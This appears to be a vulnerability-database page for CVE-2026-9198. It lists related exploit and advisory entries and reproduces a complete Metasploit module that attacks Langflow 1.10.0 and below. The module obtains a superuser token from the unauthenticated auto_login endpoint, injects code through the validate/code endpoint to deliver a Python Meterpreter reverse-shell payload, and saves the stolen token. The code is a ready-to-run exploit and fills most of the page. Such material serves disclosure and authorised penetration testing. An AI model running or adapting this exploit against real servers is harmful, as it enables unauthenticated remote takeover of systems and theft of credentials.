Langflow 1.10.0 Remote Code Execution
| Reporter | Title | Published | Views | Family All 24 |
|---|---|---|---|---|
| Exploit for CVE-2026-9198 | 24 Jul 202609:29 | – | githubexploit | |
| Exploit for Code Injection in Langflow | 5 Aug 202617:44 | – | githubexploit | |
| Exploit for CVE-2026-9198 | 21 Jul 202611:14 | – | githubexploit | |
| Exploit for Code Injection in Langflow | 22 Aug 202615:55 | – | githubexploit | |
| Exploit for Code Injection in Langflow | 24 Jul 202620:50 | – | githubexploit | |
| CVE-2026-9198 | 17 Jul 202617:36 | – | attackerkb | |
| Vulnerability of components /api/v1/validate/code and /api/v1/auto_login in the software for visual development of IBM Langflow OSS AI agents, allowing a perpetrator to execute arbitrary code. | 22 Jul 202600:00 | – | bdu_fstec | |
| CVE-2026-9198 | 17 Jul 202618:18 | – | circl | |
| IBM Langflow Code Injection Vulnerability | 4 Aug 202600:00 | – | cisa_kev | |
| IBM Langflow OSS code injection vulnerability (CNVD-2026-31205) | 20 Jul 202600:00 | – | cnvd |
10
# frozen_string_literal: true
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Langflow AI auto_login RCE',
'Description' => %q{
Langflow versions 1.10.0 and below are susceptible to
unauthenticated remote code execution. By chaining
/api/v1/auto_login with /api/v1/validate/code, a remote
unauthenticated attacker can send crafted HTTP requests to execute
arbitrary code.
},
'Author' => [
'Richard Howe <rhowe425>'
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2026-9198'],
['URL', 'https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-9198']
],
'Targets' => [
[
'Python payload',
{
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'DefaultOptions' => {
'PAYLOAD' => 'python/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'Payload' => {
'BadChars' => '"'
},
'DisclosureDate' => '2026-07-17',
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)
register_options(
[
Opt::RPORT(7860),
OptString.new(
'TARGETURI',
[true, 'Base path of the Langflow application', '/']
)
]
)
end
def get_token
res = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/api/v1/auto_login'),
'ctype' => 'application/json'
}
)
return unless res && res.code == 200
json = res.get_json_document
return unless json.is_a?(Hash)
json['access_token']
end
def check
res = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api/v1/version')
}
)
return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200
doc = res.get_json_document
version_str = doc.is_a?(Hash) ? doc['version'] : nil
return Exploit::CheckCode::Unknown('Failed to parse version.') unless version_str
package = doc.is_a?(Hash) ? doc['package'] : nil
return Exploit::CheckCode::Unknown('Failed to identify application.') unless package
return Exploit::CheckCode::Safe('Application is not Langflow.') unless package.to_s.downcase == 'langflow'
version = Rex::Version.new(version_str.to_s)
return Exploit::CheckCode::Unknown('Failed to parse version.') unless version
# Vulnerable version of Langflow
return Exploit::CheckCode::Appears("Version #{version} detected, which appears vulnerable.") if version < Rex::Version.new('1.10.1')
# Patched version of Langflow
Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.")
end
def exploit
# Get SUPERUSER token
token = get_token
if token.to_s.empty?
fail_with(Failure::UnexpectedReply, 'Could not retrieve SUPERUSER API key from /api/v1/auto_login')
end
res = send_request_cgi(
{
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/v1/validate/code'),
'headers' => {
'Content-Type' => 'application/json',
'Authorization' => "Bearer #{token}"
},
'data' => {
'code' => "@exec(\"#{payload.encode}\")\ndef #{rand_text_alpha(6)}():\n pass"
}.to_json
}
)
fail_with(Failure::Unknown, 'Unexpected server reply.') unless res&.code == 200
loot_path = store_loot(
'langflow.token',
'text/plain',
rhost,
token,
'langflow_token.txt',
'Langflow SUPERUSER access token retrieved from first stage of exploit.'
)
print_good("Langflow SUPERUSER access token stored in #{loot_path}")
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
24 Aug 2026 00:00Current
6.7Medium risk
Vulners AI Score6.7
CVSS 3.19.8
EPSS0.37327
SSVC